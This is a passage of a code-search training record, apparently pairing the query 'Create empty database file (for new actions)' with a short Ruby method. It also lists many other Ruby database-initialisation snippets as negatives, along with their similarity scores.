Dir.getwd\n Dir.chdir File.dirname(database_path)\n\n if config_file_path\n process_config_file File.expand_path(config_file_path)\n end\n\n RFlow.logger.debug 'Defaulting non-existing config values'\n merge_defaults!\n\n Dir.chdir working_dir\n\n self.new(database_path)\n end", "def initialize\n self.db = YAML::Store.new(DB_FILE)\n end", "def initialize(file='corpus.db')\n @path = File.join(default_path, file)\n @filename = file\n FileUtils.mkdir_p(default_path) unless File.exists?(default_path)\n create_database\n end", "def open_database\n if File.exist? @database_path\n validate_database\n @db = SQLite3::Database.new @database_path\n else\n initialize_database\n end\n end", "def initialize filename = 'db.yaml'\n FileUtils.touch(filename)\n @db = YAML::Store.new(filename)\n end", "def dbs_init\n @dbs_hash = Dir[\"#{dbs_store}/*.db\"]\n .map do |dbfile|\n File.open(dbfile){|f| JSON.parse(f.read, symbolize_names: true)}\n end\n .inject({}) do |h, db|\n h.update({\n db[:name].to_sym => LaPack::const_get(db[:clazz]).new(self, db[:params])\n })\n end\n end", "def initialize(file = File.expand_path(File.join(File.dirname(__FILE__), '../../../db/ush.sqlite.db')))\n FileUtils.touch(file) unless File.exist?(file) # create the db if it doesnt already exist\n puts \"Database is being stored at #{file}\"\n @db = SQLite3::Database.new(file)\n @db.execute 'CREATE TABLE IF NOT EXISTS pairings(url TEXT, code TEXT)'\n end", "def initialize_database\n config = YAML::load(IO.read(Antfarm::Helpers.defaults_file))\n # Database setup based on adapter specified\n if config && config[ANTFARM_ENV] && config[ANTFARM_ENV].has_key?('adapter')\n if config[ANTFARM_ENV]['adapter'] == 'sqlite3'\n config[ANTFARM_ENV]['database'] = Antfarm::Helpers.db_file(ANTFARM_ENV)\n elsif config[ANTFARM_ENV]['adapter'] == 'postgres'\n config[ANTFARM_ENV]['database'] = ANTFARM_ENV\n else\n # If adapter specified isn't one of sqlite3 or postgresql,\n # default to SQLite3 database configuration.\n config = nil\n end\n else\n # If the current environment configuration doesn't specify a\n # database adapter, default to SQLite3 database configuration.\n config = nil\n end\n # Default to SQLite3 database configuration\n config ||= { ANTFARM_ENV => { 'adapter' => 'sqlite3', 'database' => Antfarm::Helpers.db_file(ANTFARM_ENV) } }\n if config[ANTFARM_ENV]['adapter'] == 'postgres'\n DataMapper.setup(:default, \"postgres:///#{config[ANTFARM_ENV]['database']}\")\n else\n DataMapper.setup(:default, \"sqlite3://#{config[ANTFARM_ENV]['database']}\")\n end\n end", "def initialize(db, name, filename)\r\n @db = db\r\n @name = name\r\n @filename = filename\r\n @encrypted = false\r\n @lookup_key = :recno\r\n @idx_timestamps = {}\r\n @idx_arrs = {}\r\n\r\n # Alias delete_all to clear method.\r\n alias delete_all clear\r\n\r\n update_header_vars\r\n create_indexes\r\n create_table_class unless @db.server?\r\n end", "def initialize_database\n @db = SQLite3::Database.new @database_path\n File.chmod 0600, @database_path\n begin\n @db.execute 'drop table if exists host;'\n @db.execute <<-SQL\n create table host (\n id INT,\n name varchar(254)\n );\n SQL\n sync_host_table\n rescue\n File.unlink @database_path\n raise\n end\n end", "def load_db\n input_data = File.read($fn)\n $cd_arr = YAML.load(input_data)\nend", "def load_database(filename)\n \n handle = File.open(filename)\n uncompressed = Zlib::GzipReader.new(handle)\n records = DnaIO.new(uncompressed)\n records.to_a\nend", "def initialize_database(path, current_schema_version)\n\t\t\tLOGGER.debug \"[initialize_database] Let's initialize\"\n\t\t\tclose_database\n\t\t\tFile.delete(path) if File.file?(path) # Quickest way to wipe the schema in SQlite\n\t\t\tdb = open_database(path)\n\t\t\tdb.execute \"CREATE TABLE items(feed_name text, created_at datetime, updated_at datetime, fetched_at datetime, title text, creator text, read boolean, icon text, details text, url text);\"\n\t\t\tdb.execute \"CREATE TABLE fetch_histories(feed_name text PRIMARY KEY, fetched_at datetime, failure_count integer, last_failure_detail text);\"\n\t\t\tdb.execute \"CREATE TABLE schema_version(version integer);\"\n\t\t\tdb.execute \"INSERT INTO schema_version(version) VALUES (#{current_schema_version});\"\n\t\t\tdb\n\t\tend", "def open\n close\n @db = SQLite3::Database.new(@options[:filename])\n self\n end", "def initialize(db)\n @db = db\n end", "def initialize(db)\n @db = db\n end", "def db\n @db ||= YAML::Store.new(DB_FILE)\n end", "def initialize()\n # calling base constructor\n super()\n\n # trying to connect to database\n begin\n # setting the db configuration file path\n db_config_file_path = \"#{File.dirname(__FILE__)}/db/database.yml\"\n\n # creating a pointer to the file content\n f_db_config = File.open(db_config_file_path, 'r')\n\n # loading the db configuration from the YAML file\n @db_config = YAML.load(f_db_config)\n\n ## setting a global path for the database (only for the sqlite3 database)\n #@db_config[DB_TYPE]['database'] = \"#{File.dirname(__FILE__)}/db/#{@db_config[DB_TYPE]['database']}\"\n\n # actually establishing connection to database through active_record\n @db_conn = ActiveRecord::Base.establish_connection(@db_config[DB_TYPE])\n rescue Exception => e\n # building the error message\n msg = \"Failed to connect to database. Original error message:\\r\\n'#{e.message}'\"\n\n # writing message in console\n puts msg\n\n # raising the exception again\n raise e\n end\n end", "def find_or_create_db(filename)\n SQLite3::Database.new(filename)\n end", "def initialize(db)\n @db = db\n end", "def read_db()\n if File.exist?('public/tokens.db')\n db = SQLite3::Database.open './public/tokens.db'\n else\n db = []\n end\nend", "def update_db\n require \"#{File.dirname(__FILE__)}/../conf/db_schema.rb\"\n Knj::Db::Revision.new.init_db(\"debug\" => false, \"db\" => @db, \"schema\" => Openall_time_applet::DB_SCHEMA)\n end", "def initialize( db )\n @db = db\n end", "def init(dir)\n dir = File.expand_path(dir)\n db_file = db(dir)\n raise \"Database #{db_file} already exists\" if File.exist?(db_file)\n FileUtils.mkdir_p(File.dirname(db_file))\n # create database\n monotone(\"db init\", db_file)\n # TODO: do a genkey\n monotone(\"read\", db_file) do |io|\n io.write(File.open(@keys_file).read)\n io.close_write\n end\n end", "def init_db\n db_filename = './coord_cache.db'\n puts \"Creating db file '#{db_filename}'\" unless File.exist?(db_filename)\n @coord_db = SQLite3::Database.new(db_filename)\n @coord_db.execute('CREATE TABLE IF NOT EXISTS coords ' \\\n '(id INTEGER PRIMARY KEY AUTOINCREMENT, ' \\\n ' osm_id BIGINT, ' \\\n ' lat REAL, ' \\\n ' lon REAL)')\nend", "def initialize\n\t\t# Define the database connection to the dentist_book.db SQLite database.\n\t\t@dbConnection = SQLite3::Database.new( \"./../db/dentist_book.db\" )\n\tend", "def initialize(blast_database_file_path)\n @database = blast_database_file_path\n @fastacmd = 'fastacmd'\n end", "def load_from_file(path = nil)\n path ||= \"db/#{table_name}.yml\"\n\n self.destroy_all\n\n if connection.respond_to?(:reset_pk_sequence!)\n connection.reset_pk_sequence!(table_name)\n end\n\n records = YAML.load(File.open(File.expand_path(path, Rails.root)))\n records.each do |record|\n record_copy = self.new(record.attributes)\n record_copy.id = record.id\n\n # For Single Table Inheritance\n klass_col = record.class.inheritance_column.to_sym\n if record[klass_col]\n record_copy.type = record[klass_col]\n end\n\n record_copy.save\n end\n\n if connection.respond_to?(:reset_pk_sequence!)\n connection.reset_pk_sequence!(table_name)\n end\n end", "def create\n File.open(@db_file, \"w\" ) do |file|\n end\n end", "def create_database # :nodoc:\n @db = HDB.new\n if !@db.open(@path, default_flags)\n raise CorpusError.new(\"Error creating the database: #{@db.errmsg(@db.ecode)}\")\n end\n end", "def load_db\n basic_foods = {} # store BasicFood objects\n recipes = {} # store Recipe objects\n File.readlines('FoodDB.txt').each do |line|\n line = line.chomp.split(\",\")\n if line[1] == \"b\"\n basic_food = BasicFood.new(line[0], line[2])\n basic_foods[basic_food.name] = basic_food\n elsif line[1] == \"r\"\n recipe = Recipe.new(line[0], line[2..line.size])\n recipes[recipe.name] = recipe\n end\n end\n [basic_foods, recipes]\n end", "def initialize(database)\r\n @database = database\r\n end", "def setup_database\n Hanami::Model.load!\n end", "def initialize(database, file_path)\n @file_path = file_path\n @entries = database.entries\n validate_csv_header\n end", "def initialize(iFileName)\n @TmpFileName = nil\n require 'sqlite3'\n @DB = SQLite3::Database.new(iFileName)\n begin\n # Issue a single select to test if the database is in use\n @DB.execute(\"SELECT * FROM sqlite_master LIMIT 1\")\n rescue SQLite3::BusyException\n # The database is in use.\n # Try copying the file in another place.\n require 'tmpdir'\n @TmpFileName = \"#{Dir.tmpdir}/DB_#{self.object_id}.sqlite\"\n FileUtils::cp(iFileName, @TmpFileName)\n # Try again\n @DB.close\n @DB = SQLite3::Database.new(@TmpFileName)\n end\n end", "def database\n Database.initialize_with(connection)\n end", "def open\n @db.open(@db_path)\n\n #Create meta variables if they are absent\n unless @db.m_get(\"n\")\n @db.m_put(\"n\", \"0\") #Total node count\n @db.m_put(\"m\", \"0\") #Total edge count\n @db.m_put(\"node#{Config::DEFAULT_TYPE}\", \n \"0\") #Node count for default type\n @db.m_put(\"edge#{Config::DEFAULT_TYPE}\", \n Marshal.dump({:directed => false, :count => 0})) #Edge count for default type\n end\n\n end", "def test_DB_initialization\n @fdb = setup\n assert(@fdb.size > 0, \"Database entries not correctly read in\")\n end", "def initialize\n #Opens a SQLite 3 database file\n @db = SQLite3::Database.new File.join(Dir.pwd,\"lib\",\"app\",\"TentsAndTrees\",\"Game\",\"Core\",\"DB\",\"db.sqlite\")\n end", "def connect_to_db(path) \n db = SQLite3::Database.new(path)\n db.results_as_hash = true\n return db\n end", "def build_database(file, database_user_key,database_movie_key)\n file.each do |line| \n\t\t\ttokens=line.split(\"\\t\")\n\t\t\tuser_id=tokens[0]\n\t\t\tmovie_id=tokens[1]\n\t\t\trate_score=tokens[2]\n\t\t\tadd_entry(database_user_key,user_id,movie_id,rate_score)\n\t\t\tadd_entry(database_movie_key,movie_id,user_id,rate_score)\n end \n end", "def load_schema\n config = YAML::load(IO.read(File.dirname(__FILE__) + '/database.yml'))\n\n db_adapter = ENV['DB']\n\n # no db passed, try one of these fine config-free DBs before bombing.\n db_adapter ||= 'mysql'\n\n if db_adapter.nil?\n raise \"No DB Adapter selected. Pass the DB= option to pick one, or install Sqlite or Sqlite3.\"\n end\n\n ActiveRecord::Base.establish_connection(config[db_adapter])\n #Fixtures.create_fixtures(File.dirname(__FILE__), ActiveRecord::Base.connection.tables)\n\n\n load(File.dirname(__FILE__) + \"/schema.rb\")\n require File.dirname(__FILE__) + '/../rails/init.rb'\nend", "def db_setup\n path_to_db = File.join(File.dirname(__FILE__), \"temp_humidity.db\")\n SQLite3::Database.open(path_to_db).tap do | db |\n # Do anything here before we begin\n end\nend", "def initialize(config)\n run_hook(:before_initialize, config)\n\n @config = config\n raise ::SORM::NotConfigured, \"You should configure database path\" unless has_config?\n\n @db = SDBM.open config[:database]\n\n run_hook(:after_initialize, db)\n end", "def load_database_yaml; end", "def load_database_yaml; end", "def db_record\n db or MyBiaDJ::Table(:files)[:path => relative_path, :name => name.to_s]\n end", "def db_file\n self.class.db_root.join(id) if id\n end", "def use_database(db)\n self.database = db\n end", "def initialize(db)\n super\n\n @path = @db.opts[:path] if @db.opts[:path]\n @preload_results = true\n\n if @db.opts[:conn]\n @conn = @db.opts[:conn]\n else\n org.sqlite.JDBC\n reconnect\n end\n end", "def readFromDB\n File.open('db.txt', 'r+') do |file|\n file.readlines\n end\nend", "def db_setup\n path_to_db = \"/tmp/temp_humidity.db\"\n SQLite3::Database.open(path_to_db).tap do | db |\n # Do anything here before we begin\n end\nend", "def openDBRanked()\n\t\t@rankedDB \t\t= SQLite3::Database.new File.expand_path('../../../Data/ranked.db', File.dirname(__FILE__))\n\t\t@rankedTimeDB \t= SQLite3::Database.new File.expand_path('../../../Data/rankedTime.db', File.dirname(__FILE__))\n\tend", "def open\n create_database\n end", "def db\n $db ||= Db.new database: 'results.db'\nend", "def init_db\n @file.syswrite @current_page.to_bytes\n end", "def initialize(file, options = nil)\n @options = options || {}\n\t\t@index = {}\t\n\t\t@dbFile = file\n\t\tmakeIndex\n\tend", "def reinitialize_db\n drop_db\n initialize_db\n end", "def init_database\n\t\tif(!@DB.table_exists?(:events))\n\t\t\t@DB.create_table :events do\n\t\t\t\tprimary_key :id\n\t\t\t\tString :name\n\t\t\t\tString :description\n\t\t\t\tString :date\n\t\t\tend\n\t\tend\n\n\t\tif(!@DB.table_exists?(:timeslots))\n\t\t\t@DB.create_table :timeslots do\n\t\t\t\tString :time\n\t\t\t\tString :parent_table\n\t\t\t\tString :parent_id\n\t\t\tend\n\t\tend\n\n\t\tif(!@DB.table_exists?(:attendees))\n\t\t\t@DB.create_table :attendees do\n\t\t\t\tprimary_key :id\n\t\t\t\tString :name\n\t\t\t\tString :parent_id\n\t\t\tend\n\t\tend\n\tend", "def set_db\n @db = Db.find(params[:id])\n end", "def initialize(dbname = Namey.db_path) \n @db = Sequel.connect(dbname)\n end", "def initialize(opts = {})\n if opts[:path]\n @path = opts[:path]\n else\n @path = DEFAULT_DB_PATH\n end\n\n @db = SQLite3::Database.new(@path)\n\n create()\n end", "def create_database_yml\n print_title('Creating database configuration')\n\n @database = Database.create_config(self)\n logger.info(\"Database initialized #{@database}\")\n end", "def database\n @database ||= opts.fetch(:database, parsed_uri.path[1..-1])\n end", "def db\n @db ||= find_or_create_database\n end", "def db()\n db = SQLite3::Database.new(\"db/database.db\")\n db.results_as_hash = true\n return db\n end", "def db; end", "def db; end", "def db\n @db ||= (create_directory cache_path; SQLite3::Database.new cache_path)\n end", "def database\n @database ||= determine_database\n end", "def initialize(filename, options = {})\n if options[:preload] || !IO.respond_to?(:pread)\n @mutex = Mutex.new\n end\n\n @use_pread = IO.respond_to?(:pread) && !options[:preload]\n\n @options = options\n @database_type = Edition::COUNTRY\n @record_length = STANDARD_RECORD_LENGTH\n @file = File.open(filename, 'rb')\n\n detect_database_type!\n\n preload_data if options[:preload]\n end", "def db_file\n env_config['db_file'] || raise('environment problem:environment information not loaded')\n end", "def db(options = {})\n @_sequelizer_db ||= new_db(options)\n end", "def connect_to_db()\n SQLite3::Database.new('db/database.db')\n end", "def initialize(db)\n @name = db[\"name\"]\n @wind = db[\"wind\"]\n @number = db[\"number\"]\n @bonus = db[\"bonus\"]\n @riichi = db[\"riichi\"]\n @scores = db[\"scores\"]\n @mode = @scores.length\n end", "def tes_load_db\n setup_clean_accounts\n Movements.create('any', '2013-01-01', 10, @cash, @income)\n\n SQLite.dbs_close_all\n Accounts.delete_all(true)\n SQLite.dbs_open_load\n\n Accounts.dump true\n end", "def database_yml\n template = File.read(File.expand_path(find_database_yml_file))\n ERB.new(template).result(binding)\n end", "def open_db\n if Config.db =~ /^sqlite:\\/{3}(.+)$/\n dir = File.dirname($1)\n FileUtils.mkdir_p(dir) unless File.directory?(dir)\n end\n\n Sequel.datetime_class = Time\n\n @db = Sequel.connect(Config.db, :encoding => 'utf8')\n @db.test_connection\n\n if trait[:sql_log]\n require 'logger'\n @db.logger = Logger.new(trait[:sql_log])\n end\n\n rescue => e\n Ramaze::Log.error(\"Unable to connect to database: #{e}\")\n exit(1)\n end", "def read(path)\n @dbh = attempt_sqlite3_connection(path) if Pathname(path).exist?\n self\n end", "def initialize\n @client = SQLite3::Database.new 'haunt.db' # Edit that to change loc\n @dbs = []\n @client.execute(\n \"SELECT name FROM sqlite_master WHERE type = \\\"table\\\"\") do |row|\n @dbs << row[0]\n end\n end", "def database\n @__database__ ||= begin\n db = SQLite3::Database.new(\"weather.db\")\n db.results_as_hash = true\n db \n end\nend", "def open(opts)\n db = Database.new(opts)\n yield db if block_given?\n db\n end", "def connect_non_hash\r\n db=SQLite3::Database.new(\"db/slutpro.db\")\r\n return db\r\n end", "def database_config\n unless defined?(@db_config) && @db_config\n @db_config = Configuration.load_yaml_config(\n Configuration.base_path, 'database.yml')\n end\n\n @db_config\n end", "def open(options)\n @db ||= options[:connection]\n return @db if @db\n\n if options[:path] && !File.exist?(options[:path])\n @db = SQLite3::Database.new(options[:path])\n setup\n end\n\n raise StoreException.new(\"Attempt to open missing database file #{options[:path]}\") unless File.exist?(options[:path])\n @db = SQLite3::Database.new(options[:path])\n end", "def initialize(uri)\n @uri = uri\n# create_database_if_missing!\n end", "def initialize( path )\n @db = SQLite3::Database.new( path )\n @count_hits = false\n @busy_retries = 100\n\n # Wait up to 10 seconds to access locked database\n @db.busy_handler do |resource,retries|\n sleep 0.1\n retries<@busy_retries\n end\n \n # Create the table, if it doesn't exist\n if @db.table_info(TABLE_NAME).empty?\n @db.execute( %Q{\n CREATE TABLE #{TABLE_NAME} (\n id INTEGER PRIMARY KEY AUTOINCREMENT,\n key TEXT,\n value TEXT,\n hits INTEGER DEFAULT 0,\n created_at INTEGER,\n updated_at INTEGER\n );\n } )\n @db.execute( %Q{ CREATE UNIQUE INDEX key_index ON #{TABLE_NAME} (key) } )\n end\n end", "def db\n @db ||= Database.new\n end", "def load_database\n @results_database = load_component(Component::CoreType, 'results_database')\n @results_database.connect\n # Migrate (i.e. recreate the db schema) as required.\n if @config_manager['database.results_database.recreate', default: false]\n @results_database.migrate!\n elsif @config_manager['database.results_database.migrate', default: false]\n @results_database.migrate\n end\n # Save the reference.\n @databases.results_database = @results_database\n end", "def database\n database = @writable_database || (@database ||= Xapian::Database.new(path))\n \n if self.expired?\n puts 'reloaded'\n database.reopen \n end\n \n database\n end", "def create_database_config_file(db = nil)\n fpath = db ? \"/multiple_dbs/#{db}_database.yml\" : \"/database.yml\"\n db ||= databases.first\n copy_file \"config_db.yml\", \"config#{fpath}\"\n\n insert_into_file \"config#{fpath}\",\n %Q{#{options.development[\"adapter\"] ? options.development[\"adapter\"] : @@default_db_config[\"adapter\"] } },\n before: \"#development_adapter\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{options.development[\"encoding\"] ? options.development[\"encoding\"] : @@default_db_config[\"encoding\"] } },\n before: \"#development_encoding\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{options.development[\"pool\"] ? options.development[\"pool\"] : @@default_db_config[\"pool\"] } },\n before: \"#development_pool\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{db}_development },\n before: \"#development_database\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{options.development[\"username\"] ? options.development[\"username\"] : @@default_db_config[\"username\"] } },\n before: \"#development_username\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{options.development[\"password\"] ? options.development[\"password\"] : @@default_db_config[\"password\"] } },\n before: \"#development_psw\", verbose: false, force: true\n\n insert_into_file \"config#{fpath}\",\n %Q{#{options.production[\"adapter\"] ? options.production[\"adapter\"] : @@default_db_config[\"adapter\"] } },\n before: \"#production_adapter\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{options.production[\"encoding\"] ? options.production[\"encoding\"] : @@default_db_config[\"encoding\"] } },\n before: \"#production_encoding\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{options.production[\"pool\"] ? options.production[\"pool\"] : @@default_db_config[\"pool\"] } },\n before: \"#production_pool\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{db}_production },\n before: \"#production_database\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{options.production[\"username\"] ? options.production[\"username\"] : @@default_db_config[\"username\"] } },\n before: \"#production_username\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{options.production[\"password\"] ? options.production[\"password\"] : @@default_db_config[\"password\"] } },\n before: \"#production_psw\", verbose: false, force: true\n\n insert_into_file \"config#{fpath}\",\n %Q{#{options.test[\"adapter\"] ? options.test[\"adapter\"] : @@default_db_config[\"adapter\"] } },\n before: \"#test_adapter\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{options.test[\"encoding\"] ? options.test[\"encoding\"] : @@default_db_config[\"encoding\"] } },\n before: \"#test_encoding\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{options.test[\"pool\"] ? options.test[\"pool\"] : @@default_db_config[\"pool\"] } },\n before: \"#test_pool\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{db}_test },\n before: \"#test_database\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{options.test[\"username\"] ? options.test[\"username\"] : @@default_db_config[\"username\"] } },\n before: \"#test_username\", verbose: false, force: true\n insert_into_file \"config#{fpath}\",\n %Q{#{options.test[\"password\"] ? options.test[\"password\"] : @@default_db_config[\"password\"] } },\n before: \"#test_psw\", verbose: false, force: true\n end", "def database \n # NOTE:: Having an instance variable here, causes problems\n # when having two Sinatra Apps, each with their own db setup.\n # the instance variable retains only the last setup, so the\n # first setup is overwritten.\n @database ||= ::DataMapper.setup(dm_setup_context, dm_database_url)\n end", "def get_db(dbname)\n Database.new(dbname, @socket, self)\n end" ]
[ "0.74505645", "0.73558855", "0.73324645", "0.7270188", "0.7239706", "0.7234668", "0.7230711", "0.72055304", "0.71879315", "0.7167892", "0.7106977", "0.70874065", "0.6946988", "0.6937854", "0.68809336", "0.6823428", "0.68010926", "0.6795747", "0.6790379", "0.6788123", "0.676496", "0.67602956", "0.67602956", "0.6756841", "0.67556506", "0.67499465", "0.6746118", "0.67452425", "0.67449653", "0.6707387", "0.67031395", "0.668019", "0.6644787", "0.6635456", "0.6628466", "0.66186893", "0.6602455", "0.66001636", "0.6592904", "0.6589586", "0.65667254", "0.6535769", "0.64852273", "0.64495283", "0.64422184", "0.64410645", "0.6422556", "0.6419064", "0.63958776", "0.6374366", "0.63718385", "0.6371384", "0.6371384", "0.63587964", "0.635286", "0.6345871", "0.63416517", "0.63414556", "0.63378626", "0.63266253", "0.6324689", "0.63084143", "0.63078856", "0.6300684", "0.6300234", "0.6298903", "0.6296007", "0.62941307", "0.6292031", "0.6287692", "0.6264837", "0.6249506", "0.62289506", "0.62157214", "0.62157214", "0.62147206", "0.62070155", "0.619626", "0.6193603", "0.618759", "0.6186367", "0.61716795", "0.616728", "0.6166712", "0.61564934", "0.6137267", "0.6125155", "0.6122132", "0.6116165", "0.61141795", "0.6107236", "0.6099119", "0.6095224", "0.6086314", "0.60840863", "0.60686976", "0.60666645", "0.60664934", "0.6057409", "0.60560393" ]
0.68781185
15
Create empty database file (for new actions)
def create File.open(@db_file, "w" ) do |file| end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_default_databases()\n # Create subfolder for databases if needed.\n dir = \"./databases\"\n Dir.mkdir(dir) unless Dir.exist?(dir)\n # TODO: sanity check: if db-file exist, create copy first, make sure the\n # name of the copy makes it highly unlikely to match an already existing\n # file, e.g. current epoch.\n # TODO: Create DBs\nend", "def create\n\n if File.exists?(dbfilename)\n puts \"Moved '#{dbfilename}' to '#{dbfilename}.bak'.\"\n FileUtils.mv(dbfilename, dbfilename + '.bak')\n end\n db = Sequel.sqlite(dbfilename)\n db.create_table :pdfmd_documents do\n String :md5sum, :primary_key => true\n String :filename\n String :author\n String :title\n String :subject\n Date :createdate\n String :keywords\n String :filepath\n end\n db.add_index :pdfmd_documents, :md5sum\n db.add_index :pdfmd_documents, :keywords\n end", "def create_database_directory\n FileUtils.mkdir(database_directory)\n end", "def open\n create_database\n end", "def create_db_cmd!\n \"createdb -e #{new_db_name}\"\n end", "def create_database_configuration_file\n FileUtils.cp(database_configuration_sample, database_configuration_file)\n end", "def db_setup\n log_debug\n db_file = find_db\n db_tmp = '/tmp/plex_missing_tmp.db'\n @db = ''\n \n # cp to tmp as the db is locked if being used\n `cp \"#{db_file}\" #{db_tmp}`\n \n # not too sure why but i was having a problem where a 0 byte file was cp'd\n # def a local issue i assume but the check was needed\n if test ?s, db_tmp\n @db = SQLite3::Database.new db_tmp\n else \n puts \"error-> can not open #{db_tmp} for reasing\"\n exit 2\n end\n end", "def create_initial_database\n db_class = RailsInstaller::Database.dbs[config['database']]\n in_directory(install_directory) do\n db_class.create(self)\n end\n end", "def initialize_database\n @db = SQLite3::Database.new @database_path\n File.chmod 0600, @database_path\n begin\n @db.execute 'drop table if exists host;'\n @db.execute <<-SQL\n create table host (\n id INT,\n name varchar(254)\n );\n SQL\n sync_host_table\n rescue\n File.unlink @database_path\n raise\n end\n end", "def initialize_database(path, current_schema_version)\n\t\t\tLOGGER.debug \"[initialize_database] Let's initialize\"\n\t\t\tclose_database\n\t\t\tFile.delete(path) if File.file?(path) # Quickest way to wipe the schema in SQlite\n\t\t\tdb = open_database(path)\n\t\t\tdb.execute \"CREATE TABLE items(feed_name text, created_at datetime, updated_at datetime, fetched_at datetime, title text, creator text, read boolean, icon text, details text, url text);\"\n\t\t\tdb.execute \"CREATE TABLE fetch_histories(feed_name text PRIMARY KEY, fetched_at datetime, failure_count integer, last_failure_detail text);\"\n\t\t\tdb.execute \"CREATE TABLE schema_version(version integer);\"\n\t\t\tdb.execute \"INSERT INTO schema_version(version) VALUES (#{current_schema_version});\"\n\t\t\tdb\n\t\tend", "def handle_database_creation\n database = Sequel.sqlite('./actions_db.db') # memory database, requires sqlite3\n database.create_table? :\"#{@username}_follows\" do\n primary_key :id\n String :user_id\n String :username\n Time :follow_time\n end\n database.create_table? :\"#{@username}_likes\" do\n primary_key :id\n String :media_id\n String :user_id\n String :shortcode\n Time :like_time\n end\n @table_follows = database[:\"#{@username}_follows\"]\n @table_likes = database[:\"#{@username}_likes\"]\n end", "def create_module_database_files\n if not @table.empty?\n create_file(\"#{@module}.install\", \"<?php\\n\")\n append_template(\"#{@module}.install\", 'comments/file', @tokens)\n ['install', 'schema'].each do |hook|\n append_template(\"#{@module}.install\", \"incs/#{hook}\", @tokens)\n end\n \n create_file(\"#{@module}_db.inc\", \"<?php\\n\")\n append_template(\"#{@module}_db.inc\", 'comments/file_db', @tokens)\n append_template(\"#{@module}_db.inc\", \"incs/module_db\", @tokens)\n \n append_template(\"#{@module}.module\", \"hooks/init\", @tokens) unless @hooks.include('init')\n end\n end", "def create_database(name)\n end", "def create_database_dir_if_necessary\n dirname = File.dirname(self.database_path)\n if !Dir.exists?(dirname)\n FileUtils.mkpath(dirname)\n end\n end", "def clearSQL(fc)\n File.open(\"data/insert-#{fc}.sql\", 'w') do |file|\n file.puts(\"\")\n end\n end", "def find_or_create_db(filename)\n SQLite3::Database.new(filename)\n end", "def create_database_schema!\n \n if file_format.class.const_defined?('Database')\n @orm_module = file_format.class.const_get('Database')\n else\n @orm_module = file_format.class.const_set('Database', Module.new)\n end\n\n create_request_table_and_class\n create_warning_table_and_class\n \n file_format.line_definitions.each do |name, definition|\n create_database_table(name, definition)\n create_activerecord_class(name, definition)\n end\n end", "def create_db(options)\n info \"Created database '#{options[:name]}'\"\n end", "def create_database\n say_with_task(\"Creating database...\", \"db:create\")\n end", "def initialize(file='corpus.db')\n @path = File.join(default_path, file)\n @filename = file\n FileUtils.mkdir_p(default_path) unless File.exists?(default_path)\n create_database\n end", "def create\n puts \"Creating tumblr\"\n ActiveRecord::Base.connection.execute(File.open(\"db/schema.sql\").read)\n end", "def create_db\n SQLite3::Database.new \"flatiron.db\"\nend", "def create_seeds_file\n return unless options[:seed]\n return if File.exist?(File.join(destination_root, \"db\", \"seeds.rb\"))\n\n say_quietly \"Creating db/seeds.rb file...\"\n\n create_file \"db/seeds.rb\"\n end", "def create_db(opts)\n\t\tbegin\n\t\t\tcase opts[\"adapter\"]\n\t\t\twhen 'sqlite3'\n\t\t\t\t# Sqlite just needs the file to be writable. ActiveRecord creates\n\t\t\t\t# it if it doesn't exist and checks permissions if it does. This\n\t\t\t\t# all happens during establish_connection(), so we don't need to\n\t\t\t\t# bother with creating anything here.\n\t\t\twhen 'postgresql','mysql'\n\t\t\t\tActiveRecord::Base.establish_connection(opts.merge('database' => nil))\n\t\t\t\tActiveRecord::Base.connection.create_database(opts['database'])\n\t\t\t\tActiveRecord::Base.remove_connection\n\t\t\tend\n\t\trescue ::Exception => e\n\t\t\tilog(\"Trying to continue despite failed database creation: #{e}\")\n\t\tend\n\tend", "def setup_file\n unless File.exists?('link_db.txt')\n File.open('link_db.txt', 'a+') do |link_database|\n link_database.write(\"[]\")\n end\n end\nend", "def setup_file\n unless File.exists?('link_db.txt')\n File.open('link_db.txt', 'a+') do |link_database|\n link_database.write(\"[]\") \n end\n end\nend", "def create_database # :nodoc:\n @db = HDB.new\n if !@db.open(@path, default_flags)\n raise CorpusError.new(\"Error creating the database: #{@db.errmsg(@db.ecode)}\")\n end\n end", "def create!(db, colls = nil)\n db.in_transaction do |conn|\n raise StandardError.new(\"Schema #{name} already created!\") unless schema_tables(conn).empty?\n end\n\n osm2pgsql_exec db, \"'#{empty_file}'\", \"creating osm2pgsql schema\"\n end", "def hard_clean!\n open_db\n @file.truncate(PREAMBLE_SIZE)\n write_fresh_database\n end", "def create_db(db_name)\n\n db = SQLite3::Database.new(db_name + \".db\")\n db.results_as_hash = true\n current_db_name = (db_name + \".db\")\n\n # Create Project Table\n create_project_table = <<-SQL\n CREATE TABLE IF NOT EXISTS projects(\n id INTEGER PRIMARY KEY,\n name VARCHAR(255),\n client VARCHAR(255)\n )\n SQL\n\n # Create Geologists Table\n create_geo_table = <<-SQL\n CREATE TABLE IF NOT EXISTS geologists(\n id INTEGER PRIMARY KEY,\n name VARCHAR(255),\n company VARCHAR(255)\n )\n SQL\n\n # Create Borehole Table\n create_borehole_table = <<-SQL\n CREATE TABLE IF NOT EXISTS boreholes(\n id INTEGER PRIMARY KEY,\n designation VARCHAR(255),\n northing REAL,\n easting REAL,\n elevation REAL,\n project_id INTEGER,\n FOREIGN KEY (project_id) REFERENCES projects(id)\n )\n SQL\n \n # Create Samples Table\n create_sample_table = <<-SQL\n CREATE TABLE IF NOT EXISTS samples(\n id INTEGER PRIMARY KEY,\n bh_id INTEGER, \n logger_id INTEGER,\n depth REAL,\n USCS VARCHAR(63),\n color VARCHAR(127),\n wetness VARCHAR(63),\n percent_gravel INTEGER,\n percent_sand INTEGER,\n percent_fines 